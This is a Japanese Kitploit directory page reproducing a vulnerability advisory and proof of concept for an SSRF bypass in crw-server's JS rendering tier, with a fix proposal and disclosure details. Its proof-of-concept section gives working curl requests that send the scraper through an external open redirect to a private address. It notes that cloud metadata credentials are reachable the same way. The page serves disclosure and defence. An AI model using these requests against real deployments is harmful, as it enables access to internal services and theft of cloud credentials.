Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
crw-PoC — PoC — crw の URL 安全フィルターを JS レンダリング層のバイパス経由で回避する SSRF(GHSA-5jp3-339h-vxqw、CVE-2026-87007、CVSS 7.5)。 | Kitploit
ツール/GitHubGitHub/squeeze440/crw-poc
脆弱性分析エクスプロイトウェブセキュリティペネトレーションテスト
GitHubsqueeze440/crw-poc

crw-PoC

PoC — crw の URL 安全フィルターを JS レンダリング層のバイパス経由で回避する SSRF(GHSA-5jp3-339h-vxqw、CVE-2026-87007、CVSS 7.5)。

リポジトリを見る
7日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

crw: セキュリティアドバイザリ

CVEステータス: リクエスト済み、割り当て待ち。この脆弱性は GHSA-5jp3-339h-vxqw として公開されています。CVEが割り当てられ次第、このリポジトリは CVE-YYYY-NNNNN-crw-PoC に改名され、このバナーはCVEリンクに置き換えられます。

研究者Dostxodjayev Abdullox (@squeeze440)
アドバイザリGHSA-5jp3-339h-vxqw
CVSS 3.17.5 (High)
脆弱性CWE-918

概要

crw-server では、SSRFの許可/拒否リスト(crw_core::url_safety)は、リクエストがレンダラーにディスパッチされる前に、呼び出し元が指定した url に対して一度だけ適用されます。その後、CDP駆動のJSレンダリング層(LightPanda — デフォルトのJSレンダラー — およびChrome)は Page.navigate を介して対象ページを操作し、その後のすべてのリダイレクト、JSトリガーのナビゲーション、ページ内XHR/fetchをブラウザ自身のネットワークスタック内で完全に追跡しますが、その間 url_safety が再度呼び出されることは一切ありません。これにより、renderJs:true を設定した認証済み(または、デフォルトのキーなしデプロイでは未認証)の呼び出し元が、単一の外部オープンリダイレクトを介してクローラーをRFC1918/ループバック/リンクローカルアドレス空間へと転換させ、内部サービスのレスポンスをAPIレスポンスボディとして読み戻すことが可能になります。

製品

fastCRW / crw — crw-server(REST API。プロセス内の crw-mcp MCPツール層からも同一の crw_server::routes::mcp::call_tool コードパスを呼び出すため、同様に到達可能)。

テスト済みバージョン

コミット 9f1e5ea5555bbf29cd41e454902be0cd804a15e4(v0.28.0、テスト時点の main の先端)。プロジェクト自身の docker-compose.yml --profile heavy を介してビルドおよび実行。

推定CVSS v3.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N — 7.5 (High)

  • PR:N: 出荷されているセルフホストのデフォルト(config.docker.toml)には [auth]/api_keys セクションがなく、GHSA-qq8c-fch4-cxq7 で既に文書化されている「設計上オープン」なデフォルトと一致します。APIキーを設定しているデプロイではこれが PR:L に格下げされます(単一の認証済みテナントであっても、共有エンジンをそれが動作する任意の内部ネットワークへ転換させることが依然として可能)— このバグはキーを追加しても緩和されず、ゲートが変わるだけです。
  • I:N/A:N: PoCは内部HTTPレスポンスの読み戻し(機密性)を実証しています。内部ターゲットに対する書き込み/状態変更操作は実行されておらず、主張もされていません。
  • S:U: 情報漏洩は、脆弱なコンポーネント自身のAPIレスポンスチャネルを完全に介して行われます。

詳細

根本原因: CDP/ブラウザレンダラーのパスは、ルート層で行われる一度のチェック以降、crw_core::url_safety を呼び出しません。

  • crates/crw-server/src/routes/scrape.rs:29-34(crawl.rs:47/136、map.rs:73/58、extract.rs:178/95、batch.rs:111/102、v2/*、routes/mcp.rs:25 も同様)— JSレンダリングされたリクエストのリクエストライフサイクル全体における唯一のSSRFチェック: crw_core::url_safety::validate_safe_url_resolved(&parsed_url) は、レンダラーが呼び出される前に、呼び出し元のリテラルな url に対して一度だけ実行されます。
  • crates/crw-renderer/src/cdp.rs:2621-2631 — fetch_inner の work フューチャーは、生の url をそのままCDPエンドポイントへ Page.navigate で送信します(chrome 層と lightpanda 層の両方で共有 — どちらもこの同じ関数を通じてCDPを話します)。その後Chrome/LightPandaは自身のDNS解決を実行し、サーバーサイドリダイレクト、<meta http-equiv="refresh">、またはJSの location 変更を内部的に追跡します。cdp.rs のどこにも url_safety への呼び出しは存在しません。
  • crates/crw-renderer/src/blocklist.rs:1-124 — CDPレンダリング中に実行される唯一のリクエストごとの Fetch.requestPaused インターセプションロジック(cdp.rs の930-1002行付近で接続)。これは帯域幅/ノイズの理由のみで広告/トラッカーホストとブロックされたリソースタイプ(画像、フォントなど)をフィルタリングします — リクエストの宛先をプライベート/ループバック/リンクローカル範囲に対してチェックすることは一切ありません。
  • crates/crw-crawl/src/single.rs:559-569 — ナビゲーション後の final_url が検査される唯一の場所。redirect_is_material() は、data.warnings に見た目上の "redirected_to: <url>" 文字列を付加するかどうかを決定するだけです(northernair.ca を参照するコメントにあるように、「間違ったページを取得した」ことを示すため)— url_safety::validate_safe_url* を呼び出すことはなく、リクエストを失敗させることもありません。
  • 対照的に: crates/crw-renderer/src/http_only.rs:291 — プレーンHTTP(非JS)層は、その reqwest::Client を crw_core::url_safety::safe_redirect_policy() で正しくラップしており、これがすべてのリダイレクトホップを(DNS解決を伴って)再検証します。これこそがCDP層に欠けている保護です。動的に確認済み: renderJs:false を指定した同じPoCリクエストは正しく拒否されます("error following redirect"、ベースラインのスクリーンショットを参照)。

概念実証

プロジェクト自身の docker-compose.yml --profile heavy スタック(crw + lightpanda + chrome、テスト済みコミットからビルド)に対して動的に確認済み。

  1. crw/chrome/lightpanda と同じDockerブリッジネットワーク(docker network: source_default)上に、プライベートアドレス 172.19.0.6 で「内部サービス」の代替を立ち上げました — 現実的な内部風のコンテンツ(タイトル「Internal Ops Console」、セッショントークン形式の値)を提供するプレーンなnginxコンテナです。
  2. ベースライン — フィルターが正常に機能することを確認:
    root@kitploit:~
    curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
      -d '{"url":"http://172.19.0.6/","renderJs":false}'
    → {"success":false,"error":"Invalid request: Access to 172.19.0.6 is not allowed", ...}
    
    curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
      -d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":false}'
    → {"success":false,"error":"HTTP request failed: error following redirect ...", ...}
    
    (スクリーンショット: evidence/ssrf_baseline_blocked.png)
  3. バイパス — 同じリダイレクトで、JSレンダリング層を要求:
    root@kitploit:~
    curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
      -d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":true,"renderer":"chrome","formats":["markdown"]}'
    
    結果: HTTP 200、"success":true、"data":{"markdown":"# Internal Ops Console\n\n# internal-ops.crw-lab.local\n\nNode role: primary\n\nBuild: 2026.08.02-rc3\n\nSession token: 8f3d1c9a7e2b4460b9e5d6a1c0f7e3d2", ..., "warnings":["redirected_to: http://172.19.0.6/"], "renderDecision":{"kind":"userPinned","renderer":"chrome"}} — 内部サーバーのコンテンツが呼び出し元に返されます。ツール自身の redirected_to 警告は、ブロックされたアドレスへのリクエストを追跡したことを認識しているにもかかわらず、コンテンツをそのまま返していることを示しています。(スクリーンショット: evidence/ssrf_chrome_tier_bypass.png)
  4. 明示的なレンダラーピンなしのデフォルトフォールバックチェーン("renderJs":true" のみ — 呼び出し元がJSレンダリングを要求する通常の方法)でもバイパスが発火することを確認: ラダーは lightpanda を選択し("renderDecision":{"kind":"autoDefault","chosen":"lightpanda"}、"renderedWith":"lightpanda")、同じ内部コンテンツを返しました。これは両方のCDP層(chrome だけでなく)がこのギャップを共有していることを証明しています。

https://httpbin.org/redirect-to は「302を返す外部から到達可能な任意のURL」の代替です。実際の攻撃者はこれを自身のドメインでホストするでしょう。172.19.0.6 は url_safety がブロックするように設計されている範囲(RFC1918、ループバック、リンクローカル/169.254.169.254クラウドメタデータ、.internal)の任意のアドレスの代替です — バイパスは範囲チェックが実行される前に発生するため(CDPパスは url_safety を一切呼び出しません)、この特定のブロック範囲に固有のものではありません。このローカルラボではライブのクラウドメタデータエンドポイントが利用できなかったため、その特定のターゲットは直接実行されていません。これはコードから追跡された直接的な外挿であり、未テストの主張ではありません。

影響

/v1/scrape、/v2/scrape、/v1/crawl、/v1/map、/v1/extract、それらのbatch/v2相当、または同等のMCPツールに到達できる任意の呼び出し元が — renderJs:true を指定することで — 対象のcrwデプロイをオープンな内部ネットワークプロキシとして使用できます: デプロイヤーのループバックサービス、RFC1918アドレスの内部サービス(データベース、管理パネル、内部API)、および — クラウドホストされたデプロイでは — インスタンスのクラウドメタデータエンドポイント(169.254.169.254)からレスポンスを読み取り、IAM/インスタンス認証情報を回復できる可能性があります。出荷されているセルフホストのデフォルト(APIキー未設定)では、これには認証が一切必要ありません。

脆弱性

  • CWE-918: サーバーサイドリクエストフォージェリ(SSRF)
  • CWE-441: 意図しないプロキシまたは仲介者(「混乱した代理」)

修復

CDP層に既に接続されている Fetch.requestPaused インターセプションポンプ(crates/crw-renderer/src/cdp.rs、blocklist.rs の Blocklist によって駆動)が自然なチョークポイントです: これを拡張し(または同じポンプから呼び出される兄弟チェックを chrome と lightpanda の両バックエンド用に追加し)、インターセプトされたすべてのリクエストのURLに対して crw_core::url_safety::validate_safe_url を呼び出すようにします — これにより、初期ナビゲーション、すべてのリダイレクトホップ、すべてのJS駆動ナビゲーション、およびすべての同一ページXHR/fetch/iframeロードをカバーし、ブロックされたホストに解決されるものは何でも Fetch.failRequest します。これは http_only 層に対して safe_redirect_policy() が既に行っていることと一致します。これは、SSRF保護がその実行に依存する場合、Fetch.enable/インターセプションを条件付きでオフにしておくことができなくなることを意味することに注意してください。多層防御として、crates/crw-crawl/src/single.rs:559-569 の既存のナビゲーション後の final_url チェックも、見た目上の warnings エントリから url_safety::validate_safe_url_resolved によるハード障害へと変更し、インターセプションをすり抜けるもの(例えば、Fetch.enable のセットアップと競合する最初のレスポンス)を捕捉します。

クレジット

Dostxodjayev Abdullox

報告チャネル

.github/SECURITY.md(https://github.com/us/crw/security でレンダリング): GitHub Private Vulnerability Reportingが推奨チャネル(「このリポジトリのSecurityタブからレポートを開く」)であり、[email protected] がメールのフォールバックです。このリポジトリに対して実際に有効でオープンであることを確認済み: gh api repos/us/crw/private-vulnerability-reporting --jq .enabled → true、および https://github.com/us/crw/security 上にライブの「Report a vulnerability」ボタンが確認されました(https://github.com/us/crw/security/advisories/new にリンク)。そのページのスコープ記述には「crw-server バイナリおよびこのリポジトリ内のすべてのワークスペースクレート」および「MCPサーバー(crw-mcp)」が明示的に含まれています。「レンダラーによって呼び出されるサードパーティのヘッドレスブラウザ(Chromium、Lightpanda)」は除外されています — この脆弱性は、Chromium/Lightpanda自体のバグではなく、CDPナビゲーション呼び出し周辺のcrw自身の欠落した検証に関するものであるため、スコープ内です。

ツールをダウンロード